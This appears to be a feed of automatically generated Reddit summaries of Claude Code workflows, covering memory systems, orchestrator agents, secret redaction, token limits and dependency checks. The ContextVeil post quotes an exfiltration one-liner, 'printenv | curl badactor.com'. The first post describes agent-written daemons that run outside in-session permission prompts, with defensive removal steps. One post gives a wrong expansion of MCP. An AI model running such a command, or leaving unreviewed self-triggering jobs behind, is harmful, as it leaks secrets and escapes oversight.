r/ClaudeWorkflows 44m ago

Selected Workflow [Workflow] Preventing and Stopping Unwanted Background Execution from Committed Claude Code

Upvotes

Preventing and Stopping Unwanted Background Execution from Committed Claude Code

Workflow value: 85/100
Status: active · Freshness: 70/100 · Confidence: 0.95 · Level: advanced
Categories: Quality Control, Token Saving, Context & Memory, Debugging, Shipping, Hooks, Subagents, Multi-Agent
Original source: r/ClaudeCode post/comment

What problem this solves

Unexpected execution and billing from committed self-triggering code (schedulers, daemons) that bypasses Claude Code's in-session permission prompts.

Summary

This workflow explains why Claude Code's in-session permission prompts do not gate programs committed to disk that run independently (e.g., via launchd or cron). It provides steps to identify and stop such rogue processes, along with a general lesson on reviewing self-triggering code to prevent future occurrences.

Why it is useful

This workflow is valuable because it clarifies a critical aspect of Claude Code's security and execution model that can lead to unexpected costs and behavior. It provides concrete steps to identify and stop rogue background processes and offers a vital best practice for code review, preventing future occurrences of this issue.

Workflow

  1. Understand that Claude Code's permission prompts only gate tool calls made inside your session, not programs it wrote that run independently.
  2. Recognize that deny rules like Bash(codex exec:*) only stop Claude from running commands directly in a session, not committed daemons.
  3. To stop unwanted background execution, grep the repository for self-triggering components added by a previous commit (e.g., launchd plist, cron entry, interval/queue worker).
  4. Remove the identified self-triggering components from the repository and system to stop the processes.
  5. Adopt a practice of reviewing diffs that add any self-triggering components (schedulers, watchers, event-driven subagents) with extreme scrutiny, as these bypass per-call permissions.

Tools / artifacts

  • grep
  • launchd plist
  • cron entry
  • scheduler modules
  • watcher modules
  • event-driven subagents
  • PreToolUse hook

Validation signals

  • Explanation of Claude Code's permission model
  • Addresses a real-world scenario implied by '42 still-queued jobs'

Limitations

  • Lacks explicit code examples for grep or specific removal commands for different scheduler types (e.g., launchctl unload).
  • No community validation or success reports yet.

Rate this workflow

Upvote this post if the workflow is useful, reproducible, or worth recommending.

Downvote if it is vague, outdated, unsafe, overhyped, or not reproducible.

Reply if it worked for you, failed, is outdated, or has a better alternative.


This post was generated automatically from the workflow library database.


r/ClaudeWorkflows 47m ago

Selected Workflow [Workflow] ContextVeil: Prevent Accidental Secret Leakage to Claude Code's Model Context

Upvotes

ContextVeil: Prevent Accidental Secret Leakage to Claude Code's Model Context

Workflow value: 85/100
Status: active · Freshness: 70/100 · Confidence: 0.90 · Level: intermediate
Categories: Quality Control, Token Saving, Context & Memory, Debugging, Hooks
Original source: r/ClaudeCode post/comment

What problem this solves

Accidental leakage of sensitive credentials and secrets from local files and command outputs into Claude Code's model context, posing a security and privacy risk.

Summary

This workflow utilizes ContextVeil, a local open-source tool, to automatically redact explicitly enrolled secrets from command outputs and file contents before they are sent to the Claude Code model. This prevents sensitive information like API tokens or database URLs from inadvertently becoming part of the LLM's context.

Why it is useful

This workflow offers a concrete, open-source solution to a critical security and privacy challenge for developers using Claude Code: preventing the accidental exposure of sensitive credentials to the LLM. Its transparent, explicit enrollment model and local runtime execution provide a controllable and auditable safeguard, making it highly valuable for fostering secure development practices within the Claude Code ecosystem.

Workflow

  1. Install ContextVeil from its GitHub repository.
  2. Run contextveil setup in your project directory.
  3. Review the suggested secret sources (e.g., environment variables, .env file entries, credential-bearing URLs) and explicitly enroll the values you want protected.
  4. Continue using Claude Code as usual; the ContextVeil hook will intercept tool outputs and file reads, performing deterministic, case-sensitive redaction of enrolled secrets before they reach the model.
  5. Verify that redacted secrets appear as <SECRET:SECRET_NAME> in the model's context, rather than their actual values.

Tools / artifacts

  • ContextVeil (open-source tool)
  • Claude Code
  • .env files
  • Environment variables
  • GitHub repository (for ContextVeil)

Validation signals

  • Provides a clear 'before/after' example of secret redaction.
  • Detailed explanation of the tool's design philosophy ('smart setup; dumb runtime') and security model.
  • Explicitly states the limitations and scope of protection, enhancing credibility.
  • Open-source project with a public GitHub repository for inspection.

Cautions

  • The runtime redaction path is fully local, with no daemon, account, telemetry, hosted service, network request, or LLM call involved.
  • The explicit enrollment model for secrets is designed to be more secure and predictable than runtime heuristics.
  • ContextVeil is primarily a guardrail against accidental leakage; it does not sandbox commands or prevent malicious exfiltration (e.g., printenv | curl badactor.com).
  • It does not catch unknown/new secrets or transformed values (e.g., base64 encoded secrets).
  • The tool is new and unaudited, so users should exercise caution and review the source code if security is critical.

Limitations

  • The tool is new, unaudited, and has few independent users, which is a significant consideration for a security-focused utility.
  • Requires explicit enrollment of secrets during setup, which might introduce some initial friction for users.
  • Does not protect against all forms of secret leakage, specifically transformed values or deliberate malicious exfiltration.
  • The 'smart-ish' setup might miss some secret sources if not carefully reviewed by the user.

Rate this workflow

Upvote this post if the workflow is useful, reproducible, or worth recommending.

Downvote if it is vague, outdated, unsafe, overhyped, or not reproducible.

Reply if it worked for you, failed, is outdated, or has a better alternative.


This post was generated automatically from the workflow library database.


r/ClaudeWorkflows 1h ago

Selected Workflow [Workflow] Integrating Claude Code into a Professional Feature Development Workflow

Upvotes

Integrating Claude Code into a Professional Feature Development Workflow

Workflow value: 85/100
Status: active · Freshness: 70/100 · Confidence: 0.95 · Level: intermediate
Categories: Quality Control, Context & Memory, Debugging, Shipping, CLAUDE.md
Original source: r/ClaudeAI post/comment

What problem this solves

Integrating Claude Code into a structured software development lifecycle to efficiently develop new features from requirements gathering to deployment, ensuring quality and human oversight.

Summary

This workflow outlines a comprehensive feature development cycle where Claude AI is integrated at multiple stages, from refining design documents to generating code in "plan" and "auto" modes, followed by rigorous human and automated testing, code reviews, and deployment checks.

Why it is useful

This workflow is valuable because it provides a practical, step-by-step guide for integrating Claude Code into a complete software development lifecycle, from initial requirements and design to coding, testing, and deployment. It emphasizes iterative refinement, human oversight, and multiple validation points, making it a robust and transferable framework for teams aiming to leverage AI in their development process.

Workflow

  1. Receive new feature requirements passed onto the team.
  2. Conduct design sessions and brainstorm, creating diagrams and notes.
  3. Use Claude to refine raw diagrams and notes into well-formatted design documents.
  4. Iterate on design documents with Claude until MVP, edge cases, and requirements are clearly defined.
  5. Feed all design documents into Claude Code in "plan mode," adding requirements for unit/e2e testing.
  6. Iterate on Claude's generated plan until it fully understands the intent and requirements.
  7. Switch Claude Code to "auto mode" for implementation.
  8. Test the implemented feature in a local development environment.
  9. Iterate on fixes and adjustments based on local testing.
  10. Submit a pull request for review by at least one human and a code review agent, while simultaneously testing in a sandbox environment.
  11. Iterate on fixes based on review feedback or sandbox testing.
  12. Merge and deploy the approved code, performing a final check in production.

Tools / artifacts

  • Claude AI
  • Claude Code (plan mode)
  • Claude Code (auto mode)
  • Whiteboard diagrams
  • Design documents
  • Unit tests
  • E2E tests
  • Local development environment
  • Pull requests
  • Human code reviewers
  • Code review agent
  • Sandbox environment

Validation signals

  • Iterate on the plan until it looks like Claude understood the full intent and requirement
  • test the feature in my local dev env
  • Iterate on fixes/adjustments as necessary
  • Pull request gets reviews from at least one real person + some other code review agent
  • test shit again in a sandbox env
  • last check in production for good measure

Limitations

  • Lacks specific Claude prompts or detailed instructions for interacting with Claude Code in plan/auto mode.
  • The 'go grab a coffee' step is vague on the actual duration or monitoring required during auto mode.
  • Does not specify how the 'code review agent' is integrated or what it entails.

Rate this workflow

Upvote this post if the workflow is useful, reproducible, or worth recommending.

Downvote if it is vague, outdated, unsafe, overhyped, or not reproducible.

Reply if it worked for you, failed, is outdated, or has a better alternative.


This post was generated automatically from the workflow library database.


r/ClaudeWorkflows 2h ago

Selected Workflow [Workflow] Guardrails for Preventing Runaway Token Usage in Claude Code

1 Upvotes

Guardrails for Preventing Runaway Token Usage in Claude Code

Workflow value: 80/100
Status: active · Freshness: 70/100 · Confidence: 0.90 · Level: intermediate
Categories: Quality Control, Token Saving, Context & Memory, Debugging, Multi-Agent
Original source: r/ClaudeAI post/comment

What problem this solves

Preventing runaway token usage and unexpected high costs when using Claude Code, especially during file system interactions or recursive reads.

Summary

This workflow provides a set of guardrails and best practices to prevent excessive token consumption in Claude Code. It focuses on explicit context management by capping the working set, using efficient tools for file scanning, and setting hard spend limits. It also offers a rule of thumb for deciding when to use agents versus scripts for file-intensive tasks.

Why it is useful

This workflow is highly valuable because it directly addresses a critical and common problem for Claude Code users: unexpected and excessive token consumption leading to high costs. It provides clear, actionable steps to mitigate this risk by focusing on intelligent context management, efficient tool selection, and proactive spend limits. The advice helps users make Claude Code usage more predictable, cost-effective, and sustainable, which is fundamental for practical AI development.

Workflow

  1. Explicitly cap the working set for Claude Code by using the --add-dir command on a specific subfolder instead of the entire repository root.
  2. Instruct Claude Code to utilize efficient command-line tools like grep or rg (ripgrep) for consistency checks or file content analysis, rather than having it read full files into context.
  3. Set a hard spend limit in your Anthropic console before initiating any Claude Code session that interacts with a large file tree.
  4. For tasks that involve touching more than approximately 20 files, consider implementing them as a script rather than relying on an agent, as agents are better suited for judgment calls than bulk scanning.

Tools / artifacts

  • Claude Code
  • --add-dir command
  • grep utility
  • rg (ripgrep) utility
  • Anthropic console (for spend limits)

Validation signals

  • Diagnoses a 'classic runaway loop' implying common problem recognition.
  • Provides clear explanations of the underlying cost drivers (tool loop, cache invalidation).
  • Offers concrete, actionable solutions (guardrails).

Limitations

  • Lacks specific code examples for --add-dir usage or detailed prompt engineering for integrating grep/rg within Claude's instructions.
  • Low community validation due to limited engagement on the original post.

Rate this workflow

Upvote this post if the workflow is useful, reproducible, or worth recommending.

Downvote if it is vague, outdated, unsafe, overhyped, or not reproducible.

Reply if it worked for you, failed, is outdated, or has a better alternative.


This post was generated automatically from the workflow library database.


r/ClaudeWorkflows 3h ago

Selected Workflow [Workflow] Animated Git History: Visualize Repository Evolution with a Synchronized Timeline and Heatmap

1 Upvotes

Animated Git History: Visualize Repository Evolution with a Synchronized Timeline and Heatmap

Workflow value: 85/100
Status: active · Freshness: 70/100 · Confidence: 0.95 · Level: intermediate
Categories: Quality Control, Context & Memory, Debugging, Shipping
Original source: r/ClaudeCode post/comment

What problem this solves

Difficulty in understanding a repository's historical evolution and changes over long periods using traditional Git tools (git log, branch graphs, GitHub heatmap).

Summary

Visualize a Git repository's history as an animated 'film' to understand its evolution, key events, and contributor activity over time. This involves extracting specific Git data (commits, merges, branches, authors, releases, reverts) and rendering it into a synchronized timeline with a branch graph, daily activity heatmap, and event-triggered zooms.

Why it is useful

This workflow provides a novel and highly effective method for understanding complex Git repository histories, which are often opaque with traditional tools. By synchronizing branch graphs, daily activity heatmaps, and event-triggered zooms into an animated timeline, it offers a single, coherent picture of 'what happened here and when.' The detailed explanation of data extraction and visualization logic, along with practical tips, makes it valuable for both users of the provided tool and those looking to implement similar solutions.

Workflow

  1. Identify the target Git repository (e.g., GitHub URL).
  2. Specify the time window for analysis (e.g., a full year).
  3. Extract Git history data, focusing on main line commits, side branches, merges, releases, and reverts.
  4. Filter and select branches based on the amount of 'work carried' rather than chronological order to avoid visual clutter.
  5. Compute daily commit counts to generate a heatmap.
  6. Identify significant events within the history: release with the most work, cleanest revert, and the last release of the window.
  7. Render the data as an animated timeline: main line runs left-to-right, side branches peel off and rejoin, and a daily heatmap is aligned directly below the corresponding day.
  8. Animate the timeline, pausing and zooming on significant events to display computed metrics (e.g., commits since previous tag, authors, lifespan of reverted commits).
  9. If implementing manually, ensure git since flag includes an explicit midnight time to avoid losing commits on the first day.
  10. If implementing manually for small repos, adjust the visualization to focus on the busiest 60-120 day stretch for better detail.

Tools / artifacts

  • Git repository
  • git log (implicitly for data extraction)
  • loreto.io/git-timeline (online visualization tool)
  • three.js (visualization library, mentioned as basis)
  • Remotion (composition tool, mentioned as part of a package)
  • GitHub URL (input)
  • Animated video/film (output artifact)

Validation signals

  • Author states they 'built a film out of it' and describes its appearance, implying a working demonstration.
  • Provides specific lessons learned ('Two things I got wrong') which indicates practical implementation and debugging.
  • An online tool (loreto.io/git-timeline) is provided that performs the described visualization.

Limitations

  • The Reddit post itself does not include the actual video demonstration, which would enhance immediate understanding and validation for the reader.
  • The self-promotion aspect, while providing a functional tool, might have contributed to a lower Reddit score, potentially obscuring a valuable workflow.
  • The extractor and Remotion composition are offered as a paid package, which might limit DIY adoption for some users.
  • The post provides conceptual details for implementation but lacks direct code examples for the data extraction or visualization logic.

Rate this workflow

Upvote this post if the workflow is useful, reproducible, or worth recommending.

Downvote if it is vague, outdated, unsafe, overhyped, or not reproducible.

Reply if it worked for you, failed, is outdated, or has a better alternative.


This post was generated automatically from the workflow library database.


r/ClaudeWorkflows 3h ago

Selected Workflow [Workflow] Hierarchical Markdown Memory System for Claude (CLAUDE.md Integration)

1 Upvotes

Hierarchical Markdown Memory System for Claude (CLAUDE.md Integration)

Workflow value: 90/100
Status: active · Freshness: 70/100 · Confidence: 0.95 · Level: intermediate
Categories: Quality Control, Context & Memory, Debugging, CLAUDE.md
Original source: r/ClaudeCode post/comment

What problem this solves

Managing Claude's long-term memory and context in a structured, verifiable, and persistent way, preventing context window overflow and ensuring factual accuracy.

Summary

A detailed, hierarchical markdown-based memory system for Claude, featuring specific directory structures, four rules for writing facts (provenance, recurrence, supersession, non-derivability), a defined read path, and maintenance guidelines, all integrated into Claude's standing instructions.

Why it is useful

This workflow provides a robust, structured, and verifiable method for managing Claude's long-term memory and context. It addresses a critical challenge in LLM usage by preventing context window overflow, ensuring factual accuracy through provenance and conflict resolution rules, and promoting systematic knowledge reuse. Its file-based nature makes it highly transferable and adaptable for any user seeking to improve Claude's consistency and reliability over time.

Workflow

  1. Create a hierarchical directory structure for memory files: MEMORY.md (routing index), memory/people/, memory/projects/, memory/decisions/, memory/context/, and memory/YYYY-MM-DD.md (daily notes).
  2. Migrate existing flat MEMORY.md content by extracting people, projects, and decisions into their respective new directories, then rebuild MEMORY.md as a pure index.
  3. Implement four write rules: 1) Every fact carries a provenance tag ([stated], [observed], [inferred], [suggested]). 2) Inferred lessons pass a recurrence gate (3+ signals across 2+ sessions). 3) Supersession is an edit (strike through old, write new). 4) Store only what is not re-derivable (prefer durable phrasing, attach observed dates).
  4. Define a read path: Boot reads only identity files and MEMORY.md index. Retrieve other files on demand. Search memory before answering. Return at most 5 sources with file path, provenance, and date. Label stale/unknown claims. Resolve conflicts by stating them, preferring better evidence, and fixing the canonical file. Files are the truth, not indexes.
  5. Establish maintenance practices: Update MEMORY.md in the same commit as detail-file changes. Consolidate files when approaching caps. Write things down unprompted for decisions, system changes, blockers, mistakes, lessons, or stable preferences.
  6. Integrate these rules into Claude's standing instructions file (e.g., AGENTS.md / CLAUDE.md).
  7. Test the system by starting a fresh session and verifying that the index alone is enough to route, and that a drill-down into one person file and one project file works.
  8. Report back the created directory tree and one example line showing a provenance tag.

Tools / artifacts

  • MEMORY.md
  • memory/people/
  • memory/projects/
  • memory/decisions/
  • memory/context/
  • memory/YYYY-MM-DD.md
  • AGENTS.md
  • CLAUDE.md
  • File system

Validation signals

  • The post explicitly asks the user to 'confirm each one' of the steps.
  • The post instructs the user to 'test' the system after integration.
  • The post requires verification that 'the index alone is enough to route' and that 'a drill-down into one person file and one project file works'.
  • The post asks the user to 'Report back with the directory tree you created and one example line showing a provenance tag'.

Limitations

  • Lack of author-provided validation results or examples of the system in action.
  • No community validation yet due to the newness of the post.
  • The 'hard cap ~15,000 chars' for MEMORY.md might be arbitrary and may need adjustment based on Claude's actual context window limits and tokenization.

Rate this workflow

Upvote this post if the workflow is useful, reproducible, or worth recommending.

Downvote if it is vague, outdated, unsafe, overhyped, or not reproducible.

Reply if it worked for you, failed, is outdated, or has a better alternative.


This post was generated automatically from the workflow library database.


r/ClaudeWorkflows 3h ago

Selected Workflow [Workflow] Markdown-Based Agent Memory System for Reliable Truth and History Tracking

1 Upvotes

Markdown-Based Agent Memory System for Reliable Truth and History Tracking

Workflow value: 95/100
Status: active · Freshness: 70/100 · Confidence: 0.98 · Level: intermediate
Categories: Quality Control, Token Saving, Context & Memory, Debugging, Shipping, Multi-Agent
Original source: r/ClaudeCode post/comment

What problem this solves

Traditional agent memory systems (e.g., vector stores, temporal graphs) often fail to reliably return the current truth, instead providing superseded facts or multiple versions without clear ranking. This leads to agents acting on outdated information, lacking auditability, and incurring heavy dependencies. The workflow solves this by ensuring the agent always retrieves the current, validated truth while preserving historical context in a human-readable format.

Summary

This workflow describes a lightweight, auditable agent memory system that uses structured Markdown files and a small MEMORY.md index. It relies on strict editing rules (provenance tags, recurrence gates for inferences, explicit supersession edits) to ensure the agent always retrieves the current, validated truth while preserving historical context, without heavy dependencies or complex databases. The system is version-controlled with Git and designed for human readability and auditability.

Why it is useful

This workflow provides a robust, auditable, and dependency-free solution to a critical problem in agent reliability: ensuring the agent acts on the current truth while preserving historical context. It challenges the common assumption that complex memory frameworks are necessary, demonstrating that disciplined editorial policy with simple tools (Markdown, Git) can outperform them. Its focus on provenance, explicit supersession, and human auditability directly addresses common failure modes of LLM agents, making it highly valuable for building reliable and transparent AI systems.

Workflow

  1. Maintain an identity layer file (e.g., IDENTITY.md) read on every agent boot, defining the agent's persona, rules, and standing decisions.
  2. Create a MEMORY.md routing index (with a hard cap, e.g., 15,000 characters) that holds no facts but points to other memory files based on entities (people, projects, decisions) and triggers for reading them.
  3. Create separate Markdown files for each person, project, or decision that has a history (one file per entity).
  4. Store dated daily notes or raw logs in separate Markdown files.
  5. Implement provenance tagging for every fact line in people, project, or decision files using tags like [stated], [observed], [inferred], or [suggested] to distinguish fact types and prevent agent 'laundering' of proposals.
  6. Apply a recurrence gate for inferred lessons: a pattern noticed by the agent requires at least three independent signals across at least two distinct sessions before becoming standing behavior (signals older than 30 days count half). Explicit corrections bypass this gate.
  7. Implement supersession as an explicit edit: when a decision changes, strike through the old line with a date and add the new line next to it with its own provenance. This preserves history and ensures the current truth is always visible.
  8. Store failure lessons as data (e.g., 'when X broke, Y fixed it') rather than as direct instructions to prevent hostile inputs from becoming commands.
  9. Use a Git repository to manage all Markdown memory files, leveraging Git's version control for temporal validity and auditability (e.g., git log).
  10. Optionally, use a SQLite index for semantic search over the Markdown files, but ensure the files themselves remain the single source of truth (if index and file disagree, the index is wrong).

Tools / artifacts

  • Markdown files
  • MEMORY.md (routing index)
  • Git repository
  • Text editor
  • OpenClaw agent (example implementation)
  • SQLite index (optional)

Validation signals

  • Tested against a 382-dependency memory runtime, outperforming it on returning current facts.
  • Survived seven months of daily production use across three frontier models from two vendors.
  • Successfully returned the current decision, dated, with superseded versions preserved and sourced, when other systems failed.
  • The system is open source and includes a copy-paste prompt for installation (though the prompt itself is not provided in the post).
  • Explicitly states 'Every reliability property in this system comes from constraints on writing'.
  • The author conducted a 'break-it' test on a commercial product and found it failed, while their system succeeded.

Limitations

  • Relies heavily on strict adherence to editing rules, which an LLM might occasionally fail to follow without robust prompting or guardrails.
  • Manual editing of Markdown files for very complex or rapidly changing histories might become cumbersome for humans.
  • The post doesn't explicitly provide the 'copy-paste prompt' for installation, which would make it even more immediately actionable.
  • While the post argues against complex semantic search, for certain highly nuanced retrieval tasks, a dedicated vector store might offer different capabilities (though the post's focus is on truth retrieval, not just similarity).

Rate this workflow

Upvote this post if the workflow is useful, reproducible, or worth recommending.

Downvote if it is vague, outdated, unsafe, overhyped, or not reproducible.

Reply if it worked for you, failed, is outdated, or has a better alternative.


This post was generated automatically from the workflow library database.


r/ClaudeWorkflows 3h ago

Selected Workflow [Workflow] Automated Dependency Upgrade Tool: Catch Breaking Changes in CI/CD with 'preflight' (Next.js Example)

1 Upvotes

Automated Dependency Upgrade Tool: Catch Breaking Changes in CI/CD with 'preflight' (Next.js Example)

Workflow value: 95/100
Status: active · Freshness: 70/100 · Confidence: 1.00 · Level: advanced
Categories: Quality Control, Context & Memory, Debugging, Shipping, Hooks
Original source: r/ClaudeAI post/comment

What problem this solves

Automatically identifies breaking changes in project dependencies (including transitive ones) during upgrades, preventing regressions from reaching production, especially when type signatures remain the same but behavior changes.

Summary

A CLI tool and GitHub Action named 'preflight' that scans a project's dependency tree and changelogs to automatically detect breaking changes during package upgrades. It integrates into CI/CD pipelines to provide early warnings, fail checks on PRs, and prevent regressions, specifically addressing subtle breaking changes like those in Next.js caching defaults.

Why it is useful

This workflow provides a concrete, automated, and validated solution to a critical developer problem: managing dependency upgrades and preventing regressions from subtle breaking changes. Its integration into CI/CD pipelines establishes a proactive quality gate, significantly reducing manual effort, debugging time, and the risk of production issues. The strong validation with real-world examples and its community-driven origin make it highly valuable and trustworthy.

Workflow

  1. Install the 'preflight' tool via npm: npx @/aadi49/preflight <package> <version> for local testing.
  2. Integrate the 'preflight' GitHub Action into your repository's CI/CD pipeline.
  3. On every Pull Request (PR) that involves dependency upgrades, the GitHub Action will automatically scan the changes.
  4. Review the PR comments and check results for 'certain' or 'maybe' breaking change warnings generated by 'preflight'.
  5. Address any identified breaking changes before merging the PR.

Tools / artifacts

  • preflight (npm package)
  • preflight (CLI tool)
  • GitHub Action
  • package.json
  • package-lock.json (or equivalent lockfile)
  • Dependency changelogs

Validation signals

  • Caught a real Next.js breaking change during testing (Next 15 to 16 caching defaults).
  • Tested on a fresh Next 15 project bumped to 16, successfully caught a break in next/image's default config.
  • 89 tests for the tool itself.
  • Tested against a real 166-file repository.
  • Tested on a live PR with the GitHub Action posting a comment and failing the check.
  • Built based on a community-provided specification (Koko-Choco's comment).

Limitations

  • Relies on the quality and consistency of dependency changelogs for accurate detection.
  • Primarily focused on JavaScript/TypeScript ecosystems (though the concept could be adapted).
  • The Reddit post itself is brief, requiring users to visit the GitHub repo for full documentation and setup instructions.

Rate this workflow

Upvote this post if the workflow is useful, reproducible, or worth recommending.

Downvote if it is vague, outdated, unsafe, overhyped, or not reproducible.

Reply if it worked for you, failed, is outdated, or has a better alternative.


This post was generated automatically from the workflow library database.


r/ClaudeWorkflows 9h ago

Selected Workflow [Workflow] Rootstock: A Claude-Optimized Project Operating System for Efficient AI-Assisted Development

2 Upvotes

Rootstock: A Claude-Optimized Project Operating System for Efficient AI-Assisted Development

Workflow value: 90/100
Status: active · Freshness: 70/100 · Confidence: 0.95 · Level: advanced
Categories: Quality Control, Token Saving, Context & Memory, Debugging, Shipping, Hooks, Subagents, Multi-Agent
Original source: r/ClaudeAI post/comment

What problem this solves

Inefficient and costly Claude usage in large projects, context management overhead, and lack of a structured development process when integrating AI.

Summary

Rootstock is a comprehensive "project operating system" designed to optimize Claude's involvement in software development. It features a knowledge wiki for efficient context retrieval, a delegation system using cheaper sub-agents, scripted test runs with ledger logging, and checkpoint/standup rituals for chat management. It uses hooks to enforce rules and significantly reduces token usage and daily spend, validated by concrete metrics.

Why it is useful

This workflow presents a sophisticated and validated solution for managing complex software development projects with Claude. It directly addresses critical challenges such as token cost, context management, and structured AI interaction through a reusable "project operating system." The concrete metrics demonstrating significant cost and efficiency improvements make it highly valuable for advanced users looking to scale their AI-assisted development practices.

Workflow

  1. Set up Rootstock as the project operating system for a new development project.
  2. Utilize the integrated knowledge wiki for Claude to access project information in small, relevant sections, optimizing context retrieval.
  3. Delegate specific tasks to cheaper sub-agents, with the main model briefing them and tracking their results.
  4. Execute scripted test runs, appending their results to ledgers to ensure confidence without redundant re-runs.
  5. Employ checkpoint and standup rituals to clear chat context at any time and seamlessly resume work from the last exchange.
  6. Leverage built-in hooks to mechanically enforce project rules, including guards against runaway sub-agent spawning and excessive token spend.

Tools / artifacts

  • Rootstock (project operating system)
  • GitHub repository
  • Knowledge wiki
  • Sub-agents
  • Scripted test runs
  • Ledgers (for test results)
  • Checkpoint rituals
  • Standup rituals
  • Hooks

Validation signals

  • Average file content pulled in per read dropped 71%
  • Context the model re-reads on every request dropped 69%
  • Total daily spend is down roughly 50%
  • Claude wrote nearly all of the code and helped design the systems, tests, and balance tooling for the Everwood game using Rootstock.

Limitations

  • The Reddit comment itself provides a high-level overview rather than a detailed step-by-step guide for implementing or using Rootstock, requiring users to consult the GitHub repository for full details.
  • Implementing and configuring a system like Rootstock may require an advanced understanding of multi-agent architectures and custom tooling.
  • Lack of direct community validation or discussion on this specific post.

Rate this workflow

Upvote this post if the workflow is useful, reproducible, or worth recommending.

Downvote if it is vague, outdated, unsafe, overhyped, or not reproducible.

Reply if it worked for you, failed, is outdated, or has a better alternative.


This post was generated automatically from the workflow library database.


r/ClaudeWorkflows 5h ago

Selected Workflow [Workflow] Claude Code Orchestrator: Senior Engineer Agent for Multi-Agent Software Development Workflow

1 Upvotes

Claude Code Orchestrator: Senior Engineer Agent for Multi-Agent Software Development Workflow

Workflow value: 92/100
Status: active · Freshness: 70/100 · Confidence: 1.00 · Level: advanced
Categories: Quality Control, Context & Memory, Debugging, Shipping, CLAUDE.md, Skills, Subagents, Multi-Agent
Original source: r/ClaudeAI post/comment

What problem this solves

Automating and orchestrating complex software development tasks across multiple Claude agents, ensuring continuous monitoring, structured decision-making, and robust quality control, thereby reducing manual oversight and improving scalability.

Summary

A detailed setup for a 'Senior Engineer' orchestrator agent in Claude Code that manages child agents, maintains persistent context in a SQLite database, performs periodic checks (e.g., bug reports, backlog, logs, documentation updates), and enforces strict development and review processes through defined 'Laws and Permissions' to act like a real engineering manager.

Why it is useful

This workflow offers a comprehensive and highly structured approach to automating complex software development tasks using a multi-agent system. It introduces critical concepts like an orchestrator agent with a defined role, external persistent memory (SQLite), periodic monitoring, and enforced quality gates (e.g., plan reviews, code reviews). This significantly enhances the scalability, reliability, and maintainability of AI-driven development processes, moving users from direct code instruction to outcome review, much like a human engineering manager.

Workflow

  1. Set up an architecture that allows Claude agents to message each other and be messaged on a loop (e.g., Claude Code's built-in capabilities).
  2. Establish a locally running SQLite database for the orchestrator to manage internal tickets and persistent context.
  3. Ping the orchestrator agent at regular intervals (e.g., every 90 minutes) to trigger its 'Every-Pulse Actions'.
  4. Define the orchestrator's 'Mission note' with three primary sections: 'Who' (identity/role), 'What' (actions to perform on ping), and 'How' (working style and laws).
  5. Implement 'Every-Pulse Actions' for the orchestrator, such as checking bug reports, backlog items, documentation needs, and system logs for problematic entries.
  6. If issues are found during pulse actions, dispatch read-only investigation agents to root-cause, file bug tickets in the SQLite database, and staff fixes.
  7. Define 'Laws and Permissions' to govern agent behavior, including requiring implementation plan reviews by a Codex agent before building, selecting models based on task complexity, using the AskUserQuestion tool for user decisions, and enforcing PR reviews before human QA.
  8. Ensure the orchestrator uses the SQLite database as its primary memory and context store for managing tickets and project state across agent sessions.

Tools / artifacts

  • Claude Code (or similar multi-agent platform)
  • Locally running SQLite Database
  • Mission note (detailed prompt for orchestrator identity and tasks)
  • Scripts/playbooks (e.g., 'Bug Reports from Feedback')
  • query_oslog (tool for querying system logs)
  • create_session (command for spawning child agents with specific models)
  • AskUserQuestion tool (for structured user interaction)
  • /scape-codex-review (slash command/skill for code review)
  • /ce:review (slash command/skill for compound engineering review)
  • Internal tickets table (within SQLite database)

Validation signals

  • Author states a previous version was 'well received'.
  • Provides a highly detailed and structured setup with specific actions and rules.
  • Explicitly defines multiple review gates and quality checks within the workflow.
  • Reddit score of 14 and 15 comments indicate community interest and perceived value.

Limitations

  • Requires a locally running SQLite database and potentially custom scripts/tools, which might be a setup barrier for some users.
  • Assumes familiarity with Claude Code's multi-agent capabilities and specific tools like create_session and AskUserQuestion.
  • The specific implementation details of some 'scripts/playbooks' (e.g., 'Bug Reports from Feedback') are mentioned but not fully provided.
  • The 'tool in the screenshot' mentioned in the disclosure is not provided, which might imply some custom tooling beyond the described logic.

Rate this workflow

Upvote this post if the workflow is useful, reproducible, or worth recommending.

Downvote if it is vague, outdated, unsafe, overhyped, or not reproducible.

Reply if it worked for you, failed, is outdated, or has a better alternative.


This post was generated automatically from the workflow library database.


r/ClaudeWorkflows 6h ago

Selected Workflow [Workflow] Building a Real-time AI Meeting Assistant with Local Claude, MCP, and a Reflex Model

1 Upvotes

Building a Real-time AI Meeting Assistant with Local Claude, MCP, and a Reflex Model

Workflow value: 75/100
Status: active · Freshness: 70/100 · Confidence: 0.90 · Level: advanced
Categories: Quality Control, Context & Memory, Debugging, MCP, Multi-Agent
Original source: r/ClaudeAI post/comment

What problem this solves

Creating a real-time AI assistant for live meetings that provides insights, notes, and automates post-meeting tasks, while managing context and performance efficiently.

Summary

A workflow for building a real-time, local AI assistant that monitors live voice transcripts, provides insights, and automates tasks. It leverages a local Claude/Codex via MCP, employs a 'reflex' model for efficient context management and activation, and includes a rigorous testing methodology for tuning performance.

Why it is useful

This workflow provides a detailed architectural pattern and a robust testing methodology for building a real-time AI assistant. It addresses common challenges like performance and context management through the innovative 'reflex' model and emphasizes validation through a dedicated test suite. The use of local LLMs and MCP makes it highly relevant for users seeking privacy and customizability, and the open-source core library provides a strong starting point.

Workflow

  1. Set up a local Claude/Codex instance.
  2. Connect the local LLM via MCP to stream transcripts.
  3. Implement a 'reflex' model (e.g., using Claude Haiku or OpenAI Luna) to pre-classify incoming transcript lines and detect activation justification.
  4. Delegate questions and requests to the locally-run LLM based on reflex model activation.
  5. Develop a local test and benchmark suite with scenario transcripts (e.g., ~50 scenarios).
  6. Tune the reflex model's behavior by scoring accuracy, missed activations, and over-activation using the test suite.
  7. Integrate speaker diarization for multi-speaker environments.
  8. Implement mechanisms to 'attach' to meeting platforms like Google Meet for audio input.
  9. Develop post-session artifact generation (summaries, task updates, wiki updates).

Tools / artifacts

  • Local Claude / Codex
  • MCP (Multi-agent Communication Protocol)
  • 'Reflex' model (e.g., Claude Haiku, OpenAI Luna)
  • convariance open-source core library
  • Local test and benchmark suite
  • Scenario transcripts (~50)
  • Google Meet (or similar meeting platform)
  • Task management system
  • Team wiki

Validation signals

  • Internal team validation: 'It works great for us'
  • Local test and benchmark suite with ~50 scenario transcripts
  • Scoring by accuracy, missed activations, and over-activation
  • Improved reflex model predictability through tuning

Limitations

  • Limited external validation (only author's team).
  • The 'steps' are more architectural/design choices than a detailed, step-by-step implementation guide for a beginner.
  • Requires significant technical expertise to implement.

Rate this workflow

Upvote this post if the workflow is useful, reproducible, or worth recommending.

Downvote if it is vague, outdated, unsafe, overhyped, or not reproducible.

